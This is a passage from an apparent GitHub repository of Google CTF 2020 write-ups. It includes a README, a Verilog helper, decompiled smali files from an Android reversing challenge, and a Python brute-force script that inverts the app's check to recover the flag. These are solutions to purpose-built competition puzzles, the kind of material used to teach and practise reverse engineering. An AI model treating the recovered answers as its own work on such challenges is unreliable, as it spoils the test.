31 | .end method
32 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Google CTF 2020
2 |
3 | This repo hosts my write-ups for the Google CTF 2020 challenges that I solved as a member of the CyberJanitorialSecurityServices team!
4 |
5 | I solved three challenges during the competition, and one about an hour after the competition ended. All four have complete solutions here.
6 |
7 | ## Challenges
8 |
9 | ### Hardware
10 |
11 | * **[BASICS](hardware/basics)**
12 |
13 | ### Web
14 |
15 | * **[PASTEURIZE](web/pasteurize)**
16 |
17 | ### Reversing
18 |
19 | * **[BEGINNER](reversing/beginner)**
20 | * **[ANDROID](reversing/android)**
21 |
22 | ## Scoreboard
23 |
24 |
25 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/com/google/ctf/sandbox/R$color.smali:
--------------------------------------------------------------------------------
1 | .class public final Lcom/google/ctf/sandbox/R$color;
2 | .super Ljava/lang/Object;
3 | .source "R.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Lcom/google/ctf/sandbox/R;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x19
13 | name = "color"
14 | .end annotation
15 |
16 |
17 | # static fields
18 | .field public static final colorAccent:I = 0x7f020000
19 |
20 | .field public static final colorPrimary:I = 0x7f020001
21 |
22 | .field public static final colorPrimaryDark:I = 0x7f020002
23 |
24 |
25 | # direct methods
26 | .method public constructor ()V
27 | .locals 0
28 |
29 | .line 560
30 | invoke-direct {p0}, Ljava/lang/Object;->()V
31 |
32 | return-void
33 | .end method
34 |
--------------------------------------------------------------------------------
/media/cat_hardware_icon.svg:
--------------------------------------------------------------------------------
1 | HARDWARE
--------------------------------------------------------------------------------
/hardware/basics/helper.v:
--------------------------------------------------------------------------------
1 | module main;
2 | reg [55:0] magic = 56'd31299793024068650;
3 | reg [55:0] kittens;
4 | reg success;
5 | reg [6:0] memory [7:0];
6 | reg [2:0] idx = 0;
7 |
8 | initial
9 | begin
10 | memory[0] = 7'h37;
11 | idx = idx + 5;
12 | memory[1] = 7'h2a;
13 | idx = idx + 5;
14 | memory[2] = 7'h6f;
15 | idx = idx + 5;
16 | memory[3] = 7'h78;
17 | idx = idx + 5;
18 | memory[4] = 7'h25;
19 | idx = idx + 5;
20 | memory[5] = 7'h4c;
21 | idx = idx + 5;
22 | memory[6] = 7'h5f;
23 | idx = idx + 5;
24 | memory[7] = 7'h58;
25 |
26 | magic = {
27 | {memory[0], memory[5]},
28 | {memory[6], memory[2]},
29 | {memory[4], memory[3]},
30 | {memory[7], memory[1]}
31 | };
32 |
33 | kittens = { magic[9:0], magic[41:22], magic[21:10], magic[55:42] };
34 | success = kittens == 56'd3008192072309708;
35 |
36 | $display("magic: %h", magic);
37 | $display("kittens: %h", kittens);
38 | $display("Success: %h", success);
39 | $finish;
40 | end
41 | endmodule
42 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/LinearSystem$Row.smali:
--------------------------------------------------------------------------------
1 | .class interface abstract Landroid/support/constraint/solver/LinearSystem$Row;
2 | .super Ljava/lang/Object;
3 | .source "LinearSystem.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Landroid/support/constraint/solver/LinearSystem;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x608
13 | name = "Row"
14 | .end annotation
15 |
16 |
17 | # virtual methods
18 | .method public abstract addError(Landroid/support/constraint/solver/SolverVariable;)V
19 | .end method
20 |
21 | .method public abstract clear()V
22 | .end method
23 |
24 | .method public abstract getKey()Landroid/support/constraint/solver/SolverVariable;
25 | .end method
26 |
27 | .method public abstract getPivotCandidate(Landroid/support/constraint/solver/LinearSystem;[Z)Landroid/support/constraint/solver/SolverVariable;
28 | .end method
29 |
30 | .method public abstract initFromRow(Landroid/support/constraint/solver/LinearSystem$Row;)V
31 | .end method
32 |
33 | .method public abstract isEmpty()Z
34 | .end method
35 |
--------------------------------------------------------------------------------
/media/cat_reversing_icon.svg:
--------------------------------------------------------------------------------
1 | REVERSING
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/com/google/ctf/sandbox/BuildConfig.smali:
--------------------------------------------------------------------------------
1 | .class public final Lcom/google/ctf/sandbox/BuildConfig;
2 | .super Ljava/lang/Object;
3 | .source "BuildConfig.java"
4 |
5 |
6 | # static fields
7 | .field public static final APPLICATION_ID:Ljava/lang/String; = "com.google.ctf.sandbox"
8 |
9 | .field public static final BUILD_TYPE:Ljava/lang/String; = "debug"
10 |
11 | .field public static final DEBUG:Z
12 |
13 | .field public static final FLAVOR:Ljava/lang/String; = ""
14 |
15 | .field public static final VERSION_CODE:I = 0x1
16 |
17 | .field public static final VERSION_NAME:Ljava/lang/String; = "1.0"
18 |
19 |
20 | # direct methods
21 | .method static constructor ()V
22 | .locals 1
23 |
24 | .line 7
25 | const-string v0, "true"
26 |
27 | invoke-static {v0}, Ljava/lang/Boolean;->parseBoolean(Ljava/lang/String;)Z
28 |
29 | move-result v0
30 |
31 | sput-boolean v0, Lcom/google/ctf/sandbox/BuildConfig;->DEBUG:Z
32 |
33 | return-void
34 | .end method
35 |
36 | .method public constructor ()V
37 | .locals 0
38 |
39 | .line 6
40 | invoke-direct {p0}, Ljava/lang/Object;->()V
41 |
42 | return-void
43 | .end method
44 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/GoalRow.smali:
--------------------------------------------------------------------------------
1 | .class public Landroid/support/constraint/solver/GoalRow;
2 | .super Landroid/support/constraint/solver/ArrayRow;
3 | .source "GoalRow.java"
4 |
5 |
6 | # direct methods
7 | .method public constructor (Landroid/support/constraint/solver/Cache;)V
8 | .locals 0
9 | .param p1, "cache" # Landroid/support/constraint/solver/Cache;
10 |
11 | .line 22
12 | invoke-direct {p0, p1}, Landroid/support/constraint/solver/ArrayRow;->(Landroid/support/constraint/solver/Cache;)V
13 |
14 | .line 23
15 | return-void
16 | .end method
17 |
18 |
19 | # virtual methods
20 | .method public addError(Landroid/support/constraint/solver/SolverVariable;)V
21 | .locals 1
22 | .param p1, "error" # Landroid/support/constraint/solver/SolverVariable;
23 |
24 | .line 27
25 | invoke-super {p0, p1}, Landroid/support/constraint/solver/ArrayRow;->addError(Landroid/support/constraint/solver/SolverVariable;)V
26 |
27 | .line 30
28 | iget v0, p1, Landroid/support/constraint/solver/SolverVariable;->usageInRowCount:I
29 |
30 | add-int/lit8 v0, v0, -0x1
31 |
32 | iput v0, p1, Landroid/support/constraint/solver/SolverVariable;->usageInRowCount:I
33 |
34 | .line 31
35 | return-void
36 | .end method
37 |
--------------------------------------------------------------------------------
/reversing/android/reverse/res/drawable/ic_launcher_foreground.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/Pools$Pool.smali:
--------------------------------------------------------------------------------
1 | .class interface abstract Landroid/support/constraint/solver/Pools$Pool;
2 | .super Ljava/lang/Object;
3 | .source "Pools.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Landroid/support/constraint/solver/Pools;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x608
13 | name = "Pool"
14 | .end annotation
15 |
16 | .annotation system Ldalvik/annotation/Signature;
17 | value = {
18 | "",
21 | "Ljava/lang/Object;"
22 | }
23 | .end annotation
24 |
25 |
26 | # virtual methods
27 | .method public abstract acquire()Ljava/lang/Object;
28 | .annotation system Ldalvik/annotation/Signature;
29 | value = {
30 | "()TT;"
31 | }
32 | .end annotation
33 | .end method
34 |
35 | .method public abstract release(Ljava/lang/Object;)Z
36 | .annotation system Ldalvik/annotation/Signature;
37 | value = {
38 | "(TT;)Z"
39 | }
40 | .end annotation
41 | .end method
42 |
43 | .method public abstract releaseAll([Ljava/lang/Object;I)V
44 | .annotation system Ldalvik/annotation/Signature;
45 | value = {
46 | "([TT;I)V"
47 | }
48 | .end annotation
49 | .end method
50 |
--------------------------------------------------------------------------------
/reversing/android/brute_force.py:
--------------------------------------------------------------------------------
1 | y = [40999019, 2789358025, 656272715, 18374979, 3237618335, 1762529471, 685548119, 382114257, 1436905469, 2126016673, 3318315423, 797150821]
2 |
3 | answers = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
4 |
5 | def Ro(a, b):
6 | if (a == 0):
7 | return [0, 1]
8 |
9 | x = Ro(b % a, a)
10 | return [x[1] - b // a * x[0], x[0]]
11 |
12 |
13 | for i in range(32, 128):
14 | print("i:", i)
15 | for j in range(32, 128):
16 | for k in range(32, 128):
17 | for l in range(32, 128):
18 | # form test number using every possible character
19 | test = i | (j << 0x8) | (k << 0x10) | (l << 0x18)
20 | # run it through the modifying function
21 | ro_res = Ro(test, 0x100000000)
22 | # Cut off the top bits
23 | modified = (ro_res[0] % 0x100000000 + 0x100000000) % 0x100000000
24 |
25 | # if we find the number in the array,
26 | if (modified in y):
27 | answers[y.index(modified)] = test
28 | print("Found bytes:", hex(modified))
29 | print(hex(test))
30 |
31 | for ans in answers:
32 | print(chr(ans & 0xFF), end='')
33 | print(chr((ans >> 0x08) & 0xFF), end='')
34 | print(chr((ans >> 0x10) & 0xFF), end='')
35 | print(chr((ans >> 0x18) & 0xFF), end='')
36 |
37 | exit(0)
38 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/widgets/ConstraintTableLayout$HorizontalSlice.smali:
--------------------------------------------------------------------------------
1 | .class Landroid/support/constraint/solver/widgets/ConstraintTableLayout$HorizontalSlice;
2 | .super Ljava/lang/Object;
3 | .source "ConstraintTableLayout.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Landroid/support/constraint/solver/widgets/ConstraintTableLayout;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x0
13 | name = "HorizontalSlice"
14 | .end annotation
15 |
16 |
17 | # instance fields
18 | .field bottom:Landroid/support/constraint/solver/widgets/ConstraintWidget;
19 |
20 | .field padding:I
21 |
22 | .field final synthetic this$0:Landroid/support/constraint/solver/widgets/ConstraintTableLayout;
23 |
24 | .field top:Landroid/support/constraint/solver/widgets/ConstraintWidget;
25 |
26 |
27 | # direct methods
28 | .method constructor (Landroid/support/constraint/solver/widgets/ConstraintTableLayout;)V
29 | .locals 0
30 | .param p1, "this$0" # Landroid/support/constraint/solver/widgets/ConstraintTableLayout;
31 |
32 | .line 36
33 | iput-object p1, p0, Landroid/support/constraint/solver/widgets/ConstraintTableLayout$HorizontalSlice;->this$0:Landroid/support/constraint/solver/widgets/ConstraintTableLayout;
34 |
35 | invoke-direct {p0}, Ljava/lang/Object;->()V
36 |
37 | return-void
38 | .end method
39 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/R$id.smali:
--------------------------------------------------------------------------------
1 | .class public final Landroid/support/constraint/R$id;
2 | .super Ljava/lang/Object;
3 | .source "R.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Landroid/support/constraint/R;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x19
13 | name = "id"
14 | .end annotation
15 |
16 |
17 | # static fields
18 | .field public static final bottom:I = 0x7f040001
19 |
20 | .field public static final end:I = 0x7f040007
21 |
22 | .field public static final gone:I = 0x7f040008
23 |
24 | .field public static final invisible:I = 0x7f04000a
25 |
26 | .field public static final left:I = 0x7f04000b
27 |
28 | .field public static final packed:I = 0x7f04000d
29 |
30 | .field public static final parent:I = 0x7f04000e
31 |
32 | .field public static final percent:I = 0x7f04000f
33 |
34 | .field public static final right:I = 0x7f040010
35 |
36 | .field public static final spread:I = 0x7f040011
37 |
38 | .field public static final spread_inside:I = 0x7f040012
39 |
40 | .field public static final start:I = 0x7f040014
41 |
42 | .field public static final top:I = 0x7f040016
43 |
44 | .field public static final wrap:I = 0x7f040017
45 |
46 |
47 | # direct methods
48 | .method public constructor ()V
49 | .locals 0
50 |
51 | .line 69
52 | invoke-direct {p0}, Ljava/lang/Object;->()V
53 |
54 | return-void
55 | .end method
56 |
--------------------------------------------------------------------------------
/reversing/android/reverse/res/layout/activity_main.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/widgets/ConstraintTableLayout$VerticalSlice.smali:
--------------------------------------------------------------------------------
1 | .class Landroid/support/constraint/solver/widgets/ConstraintTableLayout$VerticalSlice;
2 | .super Ljava/lang/Object;
3 | .source "ConstraintTableLayout.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Landroid/support/constraint/solver/widgets/ConstraintTableLayout;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x0
13 | name = "VerticalSlice"
14 | .end annotation
15 |
16 |
17 | # instance fields
18 | .field alignment:I
19 |
20 | .field left:Landroid/support/constraint/solver/widgets/ConstraintWidget;
21 |
22 | .field padding:I
23 |
24 | .field right:Landroid/support/constraint/solver/widgets/ConstraintWidget;
25 |
26 | .field final synthetic this$0:Landroid/support/constraint/solver/widgets/ConstraintTableLayout;
27 |
28 |
29 | # direct methods
30 | .method constructor (Landroid/support/constraint/solver/widgets/ConstraintTableLayout;)V
31 | .locals 1
32 | .param p1, "this$0" # Landroid/support/constraint/solver/widgets/ConstraintTableLayout;
33 |
34 | .line 45
35 | iput-object p1, p0, Landroid/support/constraint/solver/widgets/ConstraintTableLayout$VerticalSlice;->this$0:Landroid/support/constraint/solver/widgets/ConstraintTableLayout;
36 |
37 | invoke-direct {p0}, Ljava/lang/Object;->()V
38 |
39 | .line 48
40 | const/4 v0, 0x1
41 |
42 | iput v0, p0, Landroid/support/constraint/solver/widgets/ConstraintTableLayout$VerticalSlice;->alignment:I
43 |
44 | return-void
45 | .end method
46 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/com/google/ctf/sandbox/R.smali:
--------------------------------------------------------------------------------
1 | .class public final Lcom/google/ctf/sandbox/R;
2 | .super Ljava/lang/Object;
3 | .source "R.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/MemberClasses;
8 | value = {
9 | Lcom/google/ctf/sandbox/R$styleable;,
10 | Lcom/google/ctf/sandbox/R$style;,
11 | Lcom/google/ctf/sandbox/R$string;,
12 | Lcom/google/ctf/sandbox/R$mipmap;,
13 | Lcom/google/ctf/sandbox/R$layout;,
14 | Lcom/google/ctf/sandbox/R$id;,
15 | Lcom/google/ctf/sandbox/R$drawable;,
16 | Lcom/google/ctf/sandbox/R$color;,
17 | Lcom/google/ctf/sandbox/R$attr;
18 | }
19 | .end annotation
20 |
21 |
22 | # direct methods
23 | .method public constructor ()V
24 | .locals 0
25 |
26 | .line 10
27 | invoke-direct {p0}, Ljava/lang/Object;->()V
28 |
29 | return-void
30 | .end method
31 |
32 | .method public static o(JJ)[J
33 | .locals 11
34 | .param p0, "a" # J
35 | .param p2, "b" # J
36 |
37 | .line 22
38 | const-wide/16 v0, 0x0
39 |
40 | cmp-long v0, p0, v0
41 |
42 | const/4 v1, 0x2
43 |
44 | if-nez v0, :cond_0
45 |
46 | .line 24
47 | new-array v0, v1, [J
48 |
49 | fill-array-data v0, :array_0
50 |
51 | return-object v0
52 |
53 | .line 26
54 | :cond_0
55 | rem-long v2, p2, p0
56 |
57 | invoke-static {v2, v3, p0, p1}, Lcom/google/ctf/sandbox/R;->o(JJ)[J
58 |
59 | move-result-object v0
60 |
61 | .line 28
62 | .local v0, "r":[J
63 | new-array v1, v1, [J
64 |
65 | const/4 v2, 0x1
66 |
67 | aget-wide v3, v0, v2
68 |
69 | div-long v5, p2, p0
70 |
71 | const/4 v7, 0x0
72 |
73 | aget-wide v8, v0, v7
74 |
75 | mul-long/2addr v5, v8
76 |
77 | sub-long/2addr v3, v5
78 |
79 | aput-wide v3, v1, v7
80 |
81 | aget-wide v3, v0, v7
82 |
83 | aput-wide v3, v1, v2
84 |
85 | return-object v1
86 |
87 | :array_0
88 | .array-data 8
89 | 0x0
90 | 0x1
91 | .end array-data
92 | .end method
93 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/com/google/ctf/sandbox/R$id.smali:
--------------------------------------------------------------------------------
1 | .class public final Lcom/google/ctf/sandbox/R$id;
2 | .super Ljava/lang/Object;
3 | .source "R.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Lcom/google/ctf/sandbox/R;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x19
13 | name = "id"
14 | .end annotation
15 |
16 |
17 | # static fields
18 | .field public static final barrier:I = 0x7f040000
19 |
20 | .field public static final bottom:I = 0x7f040001
21 |
22 | .field public static final button:I = 0x7f040002
23 |
24 | .field public static final chains:I = 0x7f040003
25 |
26 | .field public static final dimensions:I = 0x7f040004
27 |
28 | .field public static final direct:I = 0x7f040005
29 |
30 | .field public static final editText:I = 0x7f040006
31 |
32 | .field public static final end:I = 0x7f040007
33 |
34 | .field public static final gone:I = 0x7f040008
35 |
36 | .field public static final groups:I = 0x7f040009
37 |
38 | .field public static final invisible:I = 0x7f04000a
39 |
40 | .field public static final left:I = 0x7f04000b
41 |
42 | .field public static final none:I = 0x7f04000c
43 |
44 | .field public static final packed:I = 0x7f04000d
45 |
46 | .field public static final parent:I = 0x7f04000e
47 |
48 | .field public static final percent:I = 0x7f04000f
49 |
50 | .field public static final right:I = 0x7f040010
51 |
52 | .field public static final spread:I = 0x7f040011
53 |
54 | .field public static final spread_inside:I = 0x7f040012
55 |
56 | .field public static final standard:I = 0x7f040013
57 |
58 | .field public static final start:I = 0x7f040014
59 |
60 | .field public static final textView:I = 0x7f040015
61 |
62 | .field public static final top:I = 0x7f040016
63 |
64 | .field public static final wrap:I = 0x7f040017
65 |
66 |
67 | # direct methods
68 | .method public constructor ()V
69 | .locals 0
70 |
71 | .line 569
72 | invoke-direct {p0}, Ljava/lang/Object;->()V
73 |
74 | return-void
75 | .end method
76 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/Cache.smali:
--------------------------------------------------------------------------------
1 | .class public Landroid/support/constraint/solver/Cache;
2 | .super Ljava/lang/Object;
3 | .source "Cache.java"
4 |
5 |
6 | # instance fields
7 | .field arrayRowPool:Landroid/support/constraint/solver/Pools$Pool;
8 | .annotation system Ldalvik/annotation/Signature;
9 | value = {
10 | "Landroid/support/constraint/solver/Pools$Pool<",
11 | "Landroid/support/constraint/solver/ArrayRow;",
12 | ">;"
13 | }
14 | .end annotation
15 | .end field
16 |
17 | .field mIndexedVariables:[Landroid/support/constraint/solver/SolverVariable;
18 |
19 | .field solverVariablePool:Landroid/support/constraint/solver/Pools$Pool;
20 | .annotation system Ldalvik/annotation/Signature;
21 | value = {
22 | "Landroid/support/constraint/solver/Pools$Pool<",
23 | "Landroid/support/constraint/solver/SolverVariable;",
24 | ">;"
25 | }
26 | .end annotation
27 | .end field
28 |
29 |
30 | # direct methods
31 | .method public constructor ()V
32 | .locals 2
33 |
34 | .line 21
35 | invoke-direct {p0}, Ljava/lang/Object;->()V
36 |
37 | .line 22
38 | new-instance v0, Landroid/support/constraint/solver/Pools$SimplePool;
39 |
40 | const/16 v1, 0x100
41 |
42 | invoke-direct {v0, v1}, Landroid/support/constraint/solver/Pools$SimplePool;->(I)V
43 |
44 | iput-object v0, p0, Landroid/support/constraint/solver/Cache;->arrayRowPool:Landroid/support/constraint/solver/Pools$Pool;
45 |
46 | .line 23
47 | new-instance v0, Landroid/support/constraint/solver/Pools$SimplePool;
48 |
49 | invoke-direct {v0, v1}, Landroid/support/constraint/solver/Pools$SimplePool;->(I)V
50 |
51 | iput-object v0, p0, Landroid/support/constraint/solver/Cache;->solverVariablePool:Landroid/support/constraint/solver/Pools$Pool;
52 |
53 | .line 24
54 | const/16 v0, 0x20
55 |
56 | new-array v0, v0, [Landroid/support/constraint/solver/SolverVariable;
57 |
58 | iput-object v0, p0, Landroid/support/constraint/solver/Cache;->mIndexedVariables:[Landroid/support/constraint/solver/SolverVariable;
59 |
60 | return-void
61 | .end method
62 |
--------------------------------------------------------------------------------
/reversing/android/reverse/original/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Built-By: Generated-by-ADT
3 | Created-By: Android Gradle 3.1.4
4 |
5 | Name: AndroidManifest.xml
6 | SHA-256-Digest: /x8N+QOL/PbrwnmGVUFg6+d5Kqzm+lE34ZlQ/pRsnRI=
7 |
8 | Name: classes.dex
9 | SHA-256-Digest: SuqRCLuwZxAPT1y9+ZTqW62+oTKubVECJpk5Shzpzvk=
10 |
11 | Name: res/drawable-v24/$ic_launcher_foreground__0.xml
12 | SHA-256-Digest: YNuSvLVkT8WWvwGmDWVWqmkp2PxWvlYWIpyUkb+4dUw=
13 |
14 | Name: res/drawable-v24/ic_launcher_foreground.xml
15 | SHA-256-Digest: 2noFkugVPciUHFwEuhz4vnmGW6ZuREoVFPm/DQrpslQ=
16 |
17 | Name: res/drawable/ic_launcher_background.xml
18 | SHA-256-Digest: tjuVDg269LLA1So+bJqpVpnkawU8DaogC6c2HxcgN/I=
19 |
20 | Name: res/layout/activity_main.xml
21 | SHA-256-Digest: EZb13/9nXQT7WUgO8cAFafd8bt1ubrFMCXohMD/5N7E=
22 |
23 | Name: res/mipmap-anydpi-v26/ic_launcher.xml
24 | SHA-256-Digest: msCHi3gnrSVLdtlIoR4VkC5RaRND0f6XxiI6I6O0r1s=
25 |
26 | Name: res/mipmap-anydpi-v26/ic_launcher_round.xml
27 | SHA-256-Digest: msCHi3gnrSVLdtlIoR4VkC5RaRND0f6XxiI6I6O0r1s=
28 |
29 | Name: res/mipmap-hdpi-v4/ic_launcher.png
30 | SHA-256-Digest: 3teqv2pWtpTkhuCW79ieLwyQZ9KStjRmOJjjUslJHxA=
31 |
32 | Name: res/mipmap-hdpi-v4/ic_launcher_round.png
33 | SHA-256-Digest: ITBKDJsA2mpyz6MccinJUo/Be25etOaKlpvOCMAaL+4=
34 |
35 | Name: res/mipmap-mdpi-v4/ic_launcher.png
36 | SHA-256-Digest: 7vIPJfsUd9jJ3xV1fnZIEcxQP7B3fxjQ9/stGReLW/Y=
37 |
38 | Name: res/mipmap-mdpi-v4/ic_launcher_round.png
39 | SHA-256-Digest: Ug0F+XihW6DM8jAGoaVpGgVKAkeMcMr8Xrr6525gDw0=
40 |
41 | Name: res/mipmap-xhdpi-v4/ic_launcher.png
42 | SHA-256-Digest: 53xQRb/bb0u+lVs6eTv+07qjac5IEa4qkQPVSAY3z/8=
43 |
44 | Name: res/mipmap-xhdpi-v4/ic_launcher_round.png
45 | SHA-256-Digest: KEbhpwPlGXkf4i9BvLJDuC+QjRLl68tD8CDd+ZgngLA=
46 |
47 | Name: res/mipmap-xxhdpi-v4/ic_launcher.png
48 | SHA-256-Digest: 6zo0sTYy4Ms7HA9CcwNYZsvoGxsXtxeM4p0Zx405Sl4=
49 |
50 | Name: res/mipmap-xxhdpi-v4/ic_launcher_round.png
51 | SHA-256-Digest: NjpWm+ty6LAHvwRkVGEhSNTJ94K5ORNSBZ/oMXnxjjA=
52 |
53 | Name: res/mipmap-xxxhdpi-v4/ic_launcher.png
54 | SHA-256-Digest: n/JzKLaRa391uZ7zYVPxVLtHJJRuVlRjXLouJXNSxp8=
55 |
56 | Name: res/mipmap-xxxhdpi-v4/ic_launcher_round.png
57 | SHA-256-Digest: W6zZehtB5EE8YJLNvYP2URKpEk6CPPqjohnGXidhZHs=
58 |
59 | Name: resources.arsc
60 | SHA-256-Digest: iUkAsFbwwqD7qXOQtlJZfZcCVjPCeCF/BN87O3Ku+Zg=
61 |
62 |
--------------------------------------------------------------------------------
/reversing/android/reverse/original/META-INF/ANDROIDD.SF:
--------------------------------------------------------------------------------
1 | Signature-Version: 1.0
2 | Created-By: 1.0 (Android)
3 | SHA-256-Digest-Manifest: M2/6VqACugDKX96v281iNjQAyHg5uJaXOmbv+KwZKM4=
4 | X-Android-APK-Signed: 2, 3
5 |
6 | Name: AndroidManifest.xml
7 | SHA-256-Digest: 8i/Vx4GZh/9rCIMY3U5d8Ja8tFE65UGSyC7YedruIO0=
8 |
9 | Name: classes.dex
10 | SHA-256-Digest: zyybhEDJrCkp0QXUwDQh9d7XK6pe+7zGcEnm/6pDbqw=
11 |
12 | Name: res/drawable-v24/$ic_launcher_foreground__0.xml
13 | SHA-256-Digest: LksWsZ/SY7/UHP7ZHhOx1Jn6AlQyoDis0jUI7T6nrjs=
14 |
15 | Name: res/drawable-v24/ic_launcher_foreground.xml
16 | SHA-256-Digest: +Sz7AiACCh6uEyLo9GuMXCYv8GDvXemOEY740FUF2NQ=
17 |
18 | Name: res/drawable/ic_launcher_background.xml
19 | SHA-256-Digest: wmvmNkbtPzcvDOVZCW2fy5E03JngFLdpAtNZi0Ered4=
20 |
21 | Name: res/layout/activity_main.xml
22 | SHA-256-Digest: dGZoo9WISoUaFyMBWfxRdE0sWI8vBfsUQQh8NS6IYL0=
23 |
24 | Name: res/mipmap-anydpi-v26/ic_launcher.xml
25 | SHA-256-Digest: EsYjEgAmK1d4PFY4/H0qTzcD5m4C+sQ2OyEYFyE+tYg=
26 |
27 | Name: res/mipmap-anydpi-v26/ic_launcher_round.xml
28 | SHA-256-Digest: L4xO2bPGlG+1s3uGvjzL925dI7odPsL4ZaNLjS74BkM=
29 |
30 | Name: res/mipmap-hdpi-v4/ic_launcher.png
31 | SHA-256-Digest: +cHuO7apqFMAARJfqEYiIvIZMf1Ck8kuL+M6/PqQ384=
32 |
33 | Name: res/mipmap-hdpi-v4/ic_launcher_round.png
34 | SHA-256-Digest: /bgMMpw1fURFD4TiOfTI2hqHwQ4U/MvuVKBEP0FvUgY=
35 |
36 | Name: res/mipmap-mdpi-v4/ic_launcher.png
37 | SHA-256-Digest: xPf3cP6Nn7cJKdJWiplwiBGgb0+AP2eX/MipoyRTBBQ=
38 |
39 | Name: res/mipmap-mdpi-v4/ic_launcher_round.png
40 | SHA-256-Digest: ZT+j1pimBcT/IDy/pxsXfw4AukX6at+Mko9oDDOdlBk=
41 |
42 | Name: res/mipmap-xhdpi-v4/ic_launcher.png
43 | SHA-256-Digest: 7rrQ5z5la9IY69HGkNFSUXtlgrVbfGPIRK0sU38dWJc=
44 |
45 | Name: res/mipmap-xhdpi-v4/ic_launcher_round.png
46 | SHA-256-Digest: +fCa7kPdRor3Gv4bCQ0mhwXTl6vLU87d1GsOBdXJVoU=
47 |
48 | Name: res/mipmap-xxhdpi-v4/ic_launcher.png
49 | SHA-256-Digest: B5xen6jDjANR7vAdNT75RKbeYBDZN4yTFDe/u6WO+Wk=
50 |
51 | Name: res/mipmap-xxhdpi-v4/ic_launcher_round.png
52 | SHA-256-Digest: sFKh9sK1k2ef4h4oVqoRgtkm8PGKcc1VVJnYKdpAZ7c=
53 |
54 | Name: res/mipmap-xxxhdpi-v4/ic_launcher.png
55 | SHA-256-Digest: HzRu69qN3SM/p6llnGzJMvzdEMrH7rdbUxYVtxSkhvA=
56 |
57 | Name: res/mipmap-xxxhdpi-v4/ic_launcher_round.png
58 | SHA-256-Digest: Zq2BmzxxhzB7TLcc9JHpur1n+GMNCieaorRDXZx8/ys=
59 |
60 | Name: resources.arsc
61 | SHA-256-Digest: /jvEGUAri70tSdDPMqJwWIjuvsKuCmKdUwLm67KsCSM=
62 |
63 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/widgets/ResolutionDimension.smali:
--------------------------------------------------------------------------------
1 | .class public Landroid/support/constraint/solver/widgets/ResolutionDimension;
2 | .super Landroid/support/constraint/solver/widgets/ResolutionNode;
3 | .source "ResolutionDimension.java"
4 |
5 |
6 | # instance fields
7 | .field value:F
8 |
9 |
10 | # direct methods
11 | .method public constructor ()V
12 | .locals 1
13 |
14 | .line 21
15 | invoke-direct {p0}, Landroid/support/constraint/solver/widgets/ResolutionNode;->()V
16 |
17 | .line 23
18 | const/4 v0, 0x0
19 |
20 | iput v0, p0, Landroid/support/constraint/solver/widgets/ResolutionDimension;->value:F
21 |
22 | return-void
23 | .end method
24 |
25 |
26 | # virtual methods
27 | .method public remove()V
28 | .locals 1
29 |
30 | .line 41
31 | const/4 v0, 0x2
32 |
33 | iput v0, p0, Landroid/support/constraint/solver/widgets/ResolutionDimension;->state:I
34 |
35 | .line 42
36 | return-void
37 | .end method
38 |
39 | .method public reset()V
40 | .locals 1
41 |
42 | .line 26
43 | invoke-super {p0}, Landroid/support/constraint/solver/widgets/ResolutionNode;->reset()V
44 |
45 | .line 27
46 | const/4 v0, 0x0
47 |
48 | iput v0, p0, Landroid/support/constraint/solver/widgets/ResolutionDimension;->value:F
49 |
50 | .line 28
51 | return-void
52 | .end method
53 |
54 | .method public resolve(I)V
55 | .locals 2
56 | .param p1, "value" # I
57 |
58 | .line 31
59 | iget v0, p0, Landroid/support/constraint/solver/widgets/ResolutionDimension;->state:I
60 |
61 | if-eqz v0, :cond_0
62 |
63 | iget v0, p0, Landroid/support/constraint/solver/widgets/ResolutionDimension;->value:F
64 |
65 | int-to-float v1, p1
66 |
67 | cmpl-float v0, v0, v1
68 |
69 | if-eqz v0, :cond_2
70 |
71 | .line 32
72 | :cond_0
73 | int-to-float v0, p1
74 |
